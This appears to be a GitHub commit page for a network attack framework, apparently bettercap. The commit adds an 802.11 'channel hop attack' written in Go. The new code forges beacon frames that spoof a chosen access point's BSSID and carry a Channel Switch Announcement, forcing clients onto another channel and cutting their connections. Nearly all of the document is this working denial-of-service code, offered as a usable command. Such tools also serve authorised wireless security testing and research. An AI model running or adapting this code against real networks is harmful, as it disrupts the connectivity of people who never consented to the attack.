Skip to content

Commit

Permalink
add channel hopping attack
Browse files Browse the repository at this point in the history
  • Loading branch information
qq906907952 committed Jul 23, 2021
1 parent c1770b3 commit c8ecaf9
Show file tree
Hide file tree
Showing 3 changed files with 123 additions and 7 deletions.
24 changes: 24 additions & 0 deletions modules/wifi/wifi.go
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,7 @@ type WiFiModule struct {
assocSilent bool
assocOpen bool
assocAcquired bool
csaSilent bool
filterProbeSTA *regexp.Regexp
filterProbeAP *regexp.Regexp
apRunning bool
Expand Down Expand Up @@ -88,6 +89,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
assocSilent: false,
assocOpen: false,
assocAcquired: false,
csaSilent: false,
showManuf: false,
shakesAggregate: true,
writes: &sync.WaitGroup{},
Expand Down Expand Up @@ -215,6 +217,28 @@ func NewWiFiModule(s *session.Session) *WiFiModule {

mod.AddHandler(probe)

channelSwitchAnnounce := session.NewModuleHandler("wifi.channel_switch_announce bssid channel ", `wifi\.channel_switch_announce ((?:[a-fA-F0-9:]{11,}))\s+((?:[0-9]+))`,
"Start a 802.11 channel hop attack, all client will be force to change the channel lead to connection down.",
func(args []string) error {
bssid, err := net.ParseMAC(args[0])
if err != nil {
return err
}
channel,_:=strconv.Atoi( args[1])
if channel>180 || channel<1{
return fmt.Errorf("%d is not a valid channel number",channel)
}
return mod.startCSA(bssid,int8(channel))
})

channelSwitchAnnounce.Complete("wifi.channel_switch_announce", s.WiFiCompleterFull)

mod.AddHandler(channelSwitchAnnounce)

mod.AddParam(session.NewBoolParameter("wifi.channel_switch_announce.silent",
"false",
"If true, messages from wifi.channel_switch_announce will be suppressed."))

mod.AddParam(session.NewStringParameter("wifi.deauth.skip",
"",
"",
Expand Down
86 changes: 86 additions & 0 deletions modules/wifi/wifi_csa.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
package wifi

import (
"bytes"
"fmt"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets"
"github.com/google/gopacket/layers"
"net"
)

func (mod *WiFiModule) isCSASilent() bool {
if err, is := mod.BoolParam("wifi.channel_switch_announce.silent"); err != nil {
mod.Warning("%v", err)
} else {
mod.csaSilent = is
}
return mod.csaSilent
}

func (mod *WiFiModule) sendBeaconWithCSAPacket(ap *network.AccessPoint, toChan int8) {
ssid := ap.ESSID()
if ssid == "<hidden>" {
ssid = ""
}
hw, _ := net.ParseMAC(ap.BSSID())

for seq := uint16(0); seq < 256 && mod.Running(); seq++ {
if err, pkt := packets.NewDot11Beacon(packets.Dot11ApConfig{
SSID: ssid,
BSSID: hw,
Channel: ap.Channel,
Encryption: false,
SpectrumManagement: true,
}, 0, packets.Dot11Info(layers.Dot11InformationElementIDSwitchChannelAnnounce, []byte{0, byte(toChan), 1})); err != nil {
mod.Error("could not create beacon packet: %s", err)
continue
} else {
mod.injectPacket(pkt)
}
}
}

func (mod *WiFiModule) startCSA(to net.HardwareAddr, toChan int8) error {
// if not already running, temporarily enable the pcap handle
// for packet injection
if !mod.Running() {
if err := mod.Configure(); err != nil {
return err
}
defer mod.handle.Close()
}

var ap *network.AccessPoint = nil

for _, _ap := range mod.Session.WiFi.List() {
if bytes.Equal(_ap.HW, to) {
ap = _ap
}

}

if ap == nil {
return fmt.Errorf("%s is an unknown BSSID", to.String())
}

mod.writes.Add(1)
go func() {
defer mod.writes.Done()

if mod.Running() {
logger := mod.Info
if mod.isCSASilent() {
logger = mod.Debug
}
logger("channel hop attack in AP %s (channel:%d encryption:%s), hop to channel %d ", ap.ESSID(), ap.Channel, ap.Encryption, toChan)
// send the beacon frame with channel switch announce element id
mod.onChannel(ap.Channel, func() {
mod.sendBeaconWithCSAPacket(ap, toChan)
})
}

}()

return nil
}
20 changes: 13 additions & 7 deletions packets/dot11.go
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ import (
var (
openFlags = 1057
wpaFlags = 1041
specManFlag = 1<<8
durationID = uint16(0x013a)
capabilityInfo = uint16(0x0411)
listenInterval = uint16(3)
Expand All @@ -37,10 +38,11 @@ var (
)

type Dot11ApConfig struct {
SSID string
BSSID net.HardwareAddr
Channel int
Encryption bool
SSID string
BSSID net.HardwareAddr
Channel int
Encryption bool
SpectrumManagement bool
}

func Dot11Info(id layers.Dot11InformationElementID, info []byte) *layers.Dot11InformationElement {
Expand All @@ -51,12 +53,14 @@ func Dot11Info(id layers.Dot11InformationElementID, info []byte) *layers.Dot11In
}
}

func NewDot11Beacon(conf Dot11ApConfig, seq uint16) (error, []byte) {
func NewDot11Beacon(conf Dot11ApConfig, seq uint16, extendDot11Info ...*layers.Dot11InformationElement) (error, []byte) {
flags := openFlags
if conf.Encryption {
flags = wpaFlags
}

if conf.SpectrumManagement {
flags |= specManFlag
}
stack := []gopacket.SerializableLayer{
&layers.RadioTap{
DBMAntennaSignal: int8(-10),
Expand All @@ -77,7 +81,9 @@ func NewDot11Beacon(conf Dot11ApConfig, seq uint16) (error, []byte) {
Dot11Info(layers.Dot11InformationElementIDRates, fakeApRates),
Dot11Info(layers.Dot11InformationElementIDDSSet, []byte{byte(conf.Channel & 0xff)}),
}

for _, v := range extendDot11Info {
stack = append(stack, v)
}
if conf.Encryption {
stack = append(stack, &layers.Dot11InformationElement{
ID: layers.Dot11InformationElementIDRSNInfo,
Expand Down

0 comments on commit c8ecaf9

Please sign in to comment.